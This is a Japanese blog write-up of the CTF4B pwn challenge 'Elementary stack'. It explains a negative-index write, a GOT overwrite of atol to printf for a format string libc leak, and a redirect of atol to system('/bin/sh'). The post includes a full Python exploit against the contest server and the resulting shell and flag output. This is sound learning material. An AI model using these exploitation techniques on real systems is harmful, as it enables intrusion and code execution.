こんにちは.リモート授業で一度も授業が一度も授業に現れず資料も与えられずにただただ課題のPDFが配布される授業があるのですが,中間試験はしっかりと行われることが告知されて萎えています.今回はCTF4Bから2週間弱たちましたが,解けなかった問題について考えてみました.

僕が本番で解けた問題のWrite upはこちら

# Elementary stack

Pwnの問題です.本番ではチラッと覗いて難しそうだったのであまり時間をかけず他の問題を考えていましたが.楽しそうなのでこの問題について考えてみました.いくつかwrite upを梯子して僕がどのように考えたのかをメモします.実行ファイルchallmain.clibc-2.27.soが与えられました. コードは以下のようになっています.

long readlong(const char *msg, char *buf, int size) {
  printf("%s", msg);
  if (read(0, buf, size) <= 0)
    fatal("I/O error");
  buf[size - 1] = 0;
  return atol(buf);
}
int main(void) {
  int i;
  long v;
  char *buffer;
  unsigned long x[X_NUMBER];
  if ((buffer = malloc(0x20)) == NULL)
    fatal("Memory error");
  while(1) {
    i = (int)readlong("index: ", buffer, 0x20);
    v = readlong("value: ", buffer, 0x20);
    printf("x[%d] = %ld\n", i, v);
    x[i] = v;
  }
  return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

無限ループに囲まれているのでmain関数のリターンアドレスを書き換えるようなことはできなさそうです.mallocbufferの領域を保持してそこにreadを使用して値を書き込んで配列xに値を書き込んでいくプログラムのようです. mallocした場所に入力値を格納しているのですが,ローカル変数*bufferとして保持した領域のポインタを持っているのでなんとかなりそう. /bin/shをどうやって実行させるかを考えますが,今回はreadlong関数内のatolをGOT overwriteしてsystem('/bin/sh')を呼び出すべきだったようです.しかし,libcのアドレスがわからないのでsystemのアドレスがわからないんですね.ここで僕は全くわからなかったんですが,一度atol@gotprintfに書き換えることでatol(buf)printf(buf)とすることでformat string bugを発生させることが出来るそうです.なるほどすごい.format string attackでlibcのアドレスをリークすることでsystem関数を呼び出すことが出来るようになります. 手順的には以下のような感じ.

  1. atol@gotprintfに書き換える
  2. printf(buf)を実行させてformat string bugを発生させてlibcのアドレスをリーク
  3. systemのアドレスを計算
  4. atolsystemに向ける

手順は理解しましたが実際にやるのは難しいですよね.やってみます.

# 解いてみる

# ステップ1

手順1をまずはクリアしましょう.atol@gotprintfに書き換えるためには

x[i] = v;
1

ここを利用します.x[i]=atolのアドレスv=printfのアドレスという風に指定できれば書き換えが可能です. 書き換えには*bufferを利用します.ディスアセンブルの結果をみてみます.

   0x00000000004007c7 <+41>:	mov    rax,QWORD PTR [rbp-0x50]
   0x00000000004007cb <+45>:	mov    edx,0x20
   0x00000000004007d0 <+50>:	mov    rsi,rax
   0x00000000004007d3 <+53>:	lea    rdi,[rip+0x100]        # 0x4008da
   0x00000000004007da <+60>:	call   0x40072a <readlong>
   0x00000000004007df <+65>:	mov    DWORD PTR [rbp-0x54],eax
   0x00000000004007e2 <+68>:	mov    rax,QWORD PTR [rbp-0x50]
   0x00000000004007e6 <+72>:	mov    edx,0x20
   0x00000000004007eb <+77>:	mov    rsi,rax
   0x00000000004007ee <+80>:	lea    rdi,[rip+0xed]        # 0x4008e2
   0x00000000004007f5 <+87>:	call   0x40072a <readlong>
   0x00000000004007fa <+92>:	mov    QWORD PTR [rbp-0x48],rax
   0x00000000004007fe <+96>:	mov    rdx,QWORD PTR [rbp-0x48]
   0x0000000000400802 <+100>:	mov    eax,DWORD PTR [rbp-0x54]
   0x0000000000400805 <+103>:	mov    esi,eax
   0x0000000000400807 <+105>:	lea    rdi,[rip+0xdc]        # 0x4008ea
   0x000000000040080e <+112>:	mov    eax,0x0
   0x0000000000400813 <+117>:	call   0x400590 <printf@plt>
   0x0000000000400818 <+122>:	mov    rdx,QWORD PTR [rbp-0x48]
   0x000000000040081c <+126>:	mov    eax,DWORD PTR [rbp-0x54]
   0x000000000040081f <+129>:	cdqe   
   0x0000000000400821 <+131>:	mov    QWORD PTR [rbp+rax*8-0x40],rdx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

少し長いですが,bufferrbp-0x50に格納されています.また,配列xの先頭アドレスはrbp-0x40のようですね.入力されたi, vは最終的にrax, rdxに格納されて

mov    QWORD PTR [rbp+rax*8-0x40],rdx
1

x[i]=vに対応する処理を行っています.つまり,i= -2とすることができれば,上の命令をrbp-0x50つまり*bufferにvの値を代入する処理にすることができます.

さて,atolのアドレスはreadlongを覗くとcall 0x4005d0 <atol@plt>とあるので0x4005d0を覗くと

   0x00000000004005d0 <atol@plt+0>:	jmp    QWORD PTR [rip+0x200a6a]        # 0x601040
   0x00000000004005d6 <atol@plt+6>:	push   0x5
   0x00000000004005db <atol@plt+11>:	jmp    0x400570
   0x00000000004005e0 <exit@plt+0>:	jmp    QWORD PTR [rip+0x200a62]        # 0x601048
   0x00000000004005e6 <exit@plt+6>:	push   0x6
   0x00000000004005eb <exit@plt+11>:	jmp    0x400570
1
2
3
4
5
6

とあります.なので*buffer=0x601040とすればatolのアドレスは書き換え可能ですね. 次のreadlongの呼び出しでprintfのアドレスを書き込みます.printfのアドレスは0x400590です. しかし,これで試してみるとうまくいきません. bufferatol@gotを書き込み,atol@gotprintf@pltに書き換えてprintf関数を呼び出すわけですが,この時に*buffer = atol@got = printf@pltとなっているためアドレスリークのために%pなどを入力すると*buffer = atol@got = printf@plt = "%32$p"となり,printf関数のアドレスが上書きされて呼び出されなくなってしまいます. これを防ぐために,atol@gotではなく,一つ前のmalloc@got*bufferに格納します. アドレスのマッピングは以下のようになっています.

   0x00000000004005c0 <malloc@plt+0>:	jmp    QWORD PTR [rip+0x200a72]        # 0x601038
   0x00000000004005c6 <malloc@plt+6>:	push   0x4
   0x00000000004005cb <malloc@plt+11>:	jmp    0x400570
   0x00000000004005d0 <atol@plt+0>:	jmp    QWORD PTR [rip+0x200a6a]        # 0x601040
   0x00000000004005d6 <atol@plt+6>:	push   0x5
   0x00000000004005db <atol@plt+11>:	jmp    0x400570
1
2
3
4
5
6

malloc@got*bufferに格納して,'a'*8 + printf@pltのように書き込むことで8バイト分の余白を持たせつつatol@gotprintf@pltに書き換えることができます.

ここまででのソルバーのコードはこんな感じ.問題の構造を理解するためにpwntoolsなどは使わずにやってみます(素人すぎて使い方知らないだけ).

import socket, time, telnetlib
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('es.quals.beginners.seccon.jp', 9003))
print(s.recv(2048).decode())
time.sleep(1)
s.sendall(b'-2\n')
time.sleep(1)
print(s.recv(2048).decode())
print("[info] overwrite buffer address to atol@got")
s.sendall(str(0x601038).encode()) # malloc
# s.sendall(str(0x601040).encode()) # atol
# time.sleep(1)
print(s.recv(2048).decode())
time.sleep(1)
print("[info] overwrite atol@got to printf@plt")
s.sendall(b"a"*8 + (0x400590).to_bytes(8, 'little') + b'\n') # printf
# s.sendall((0x400590).to_bytes(8, 'little'))
time.sleep(1)
print(s.recv(2048))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

念のため各処理のあと1秒スリープさせています. ここで注意して欲しいのはmalloc@gotをアドレスを書き込む時です.最初は(0x601038).to_bytes(8, 'little')のようにリトルエンディアンに変換して書き込んでいたんですが,これではうまくいきません.入力された値はreadで文字列で読み込まれてatolでlongに変換されるのでバイト列で入力したら意図した値を書き込めないんですね〜.素直にアドレスの数値を書き込みましょう.ここ少しはまりました.何はともあれこれでステップ1は完了です.次にいきましょう.

# ステップ2

ステップ2はprintf関数を使用してformat string attackを行いlibcのアドレスをリークします. format string attackについてはこちらの記事を参照してください. libcのベースアドレスを取得するためにprintf関数を実行している時のスタックをみてみます.

gdb-peda$ x/32g $rsp
0x7fffffffddd0:	0x0000000000000001	0x00000001f7ffe170
0x7fffffffdde0:	0x0000000000602260	0x0000000000000000
0x7fffffffddf0:	0x0000000000000002	0x000000000040087d
0x7fffffffde00:	0x00007ffff7de59a0	0x0000000000000000
0x7fffffffde10:	0x0000000000400830	0x00000000004005f0
0x7fffffffde20:	0x00007fffffffdf10	0x0000000000000000
0x7fffffffde30:	0x0000000000400830	0x00007ffff7a05b97
1
2
3
4
5
6
7
8

こんな感じです.libcのアドレスは実行ごとに変化するので確定した値はありませんが,毎回末尾にb97が現れるメモリがありますね.このメモリの値が差す場所をみてみます.

gdb-peda$ x/4wx 0x7ffff7a05b97
0x7ffff7a05b97 <__libc_start_main+231>:	0x82e8c789	0x48000215	0xed23058b	0xc148003c
1
2

こんな感じになっており,ここが__libc_start_main+231であることがわかります.というわけで%[n]$pで番号を指定してアドレスを取得します.他の方のwrite upでは25を指定しています.どうやって25というのがわかったんでしょう.僕はやり方がわからなかったので頑張って番号をインクリメントしながら探しました.というわけで25を指定すればlibcのアドレスがわかります.

print("[info] address leak by format string attack")
s.sendall(b"%25$p" + b'\n')
time.sleep(1)
print(s.recv(2048))
time.sleep(1)
1
2
3
4
5
6

上記のコードを先ほどのコードに追記します. 不明な点はありますがなんとかlibcのアドレスを取得できました.次のステップではsystem関数のアドレスを計算します.

# ステップ3

system関数のアドレスを計算して求めましょう. まずはlibcのベースアドレスを求めます.ステップ2で求めたのは__libc_start_main+231でした. __libc_start_mainのアドレスは以下のようにして見つけることができました.

$ objdump -S -M intel ./libc-2.27.so | grep libc_start_main
0000000000021ab0 <__libc_start_main@@GLIBC_2.2.5>:
1
2

従って,libcのベースアドレスは[__libc_start_main+231の値] - 0x21ab0 - 231となります. 次にlibcのsystem関数のアドレスを取得します.

$ objdump -S -M intel ./libc-2.27.so | grep libc_system
000000000004f440 <__libc_system@@GLIBC_PRIVATE>:
1
2

従って,system関数のアドレスはsystem = libc_base + 0x4f440で求めることができます. ステップ4に進みましょう.

# ステップ4

system関数のアドレスがわかったのでatol@gotを書き換えましょう.引数には/bin/shを入れます. 入力バッファは現在malloc@gotからとっています.atol(buf)(現在はprintf(buf)を指している)はatolsystemに書き換えると,system(buf)として実行されます.つまり,入力する値は"/bin/sh\0" + systemのアドレスとすればsystem("/bin/sh")が呼び出されます. 以下をコードに追記してください.

s.sendall(b"/bin/sh\0" + system.to_bytes(8, 'little'))
print(s.recv(2048))
print("[info] success to exploit!!!")
t = telnetlib.Telnet()
t.sock = s
1
2
3
4
5
6

実行するとフラグを得ることができました.

[info] success to exploit!!!
ls
chall
flag.txt
redir.sh
cat flag.txt
ctf4b{4bus1ng_st4ck_d03snt_n3c3ss4r1ly_m34n_0v3rwr1t1ng_r3turn_4ddr3ss}
1
2
3
4
5
6
7

# 攻撃コード

今回作成したコードはこちら.pwntools使えるように勉強しなくては.

import socket, time, telnetlib
malloc_got = 0x601038
printf_plt = 0x400590
libc_start_main_symbol = 0x21ab0
libc_system = 0x4f440
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('es.quals.beginners.seccon.jp', 9003))
print(s.recv(2048).decode())
time.sleep(1)
s.sendall(b'-2\n')
time.sleep(1)
print(s.recv(2048).decode())
print("[info] overwrite buffer address to atol@got")
s.sendall(str(malloc_got).encode()) # malloc
# s.sendall(str(0x601040).encode()) # atol
# time.sleep(1)
print(s.recv(2048).decode())
time.sleep(1)
print("[info] overwrite atol@got to printf@plt")
s.sendall(b"a"*8 + printf_plt.to_bytes(8, 'little') + b'\n') # printf
# s.sendall((0x400590).to_bytes(8, 'little'))
time.sleep(1)
print(s.recv(2048))
s.sendall(b"%25$p")
time.sleep(1)
libc_start_main = int(s.recv(14).decode(), 16)
libc_base = libc_start_main - libc_start_main_symbol - 231
print("[info] libc base: ", hex(libc_base))
system = libc_base + libc_system
print("[info] system: ", hex(system))
time.sleep(1)
s.sendall(b"/bin/sh\0" + system.to_bytes(8, 'little'))
print(s.recv(2048))
print("[info] success to exploit!!!")
t = telnetlib.Telnet()
t.sock = s
t.interact()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

# まとめ

非常に楽しい問題でした.pwnやってる気になりましたね.僕のような初心者が本番で特には難しい問題でしたが,一つ一つステップを踏んで理解すれば解ける問題でした.また,基本的なテクニックが詰まっている問題だったのでこれを自分で理解することができればレベルアップできる気がします.そういった意味で初心者にとってすごくいい問題だったと思います.ありがとうございました.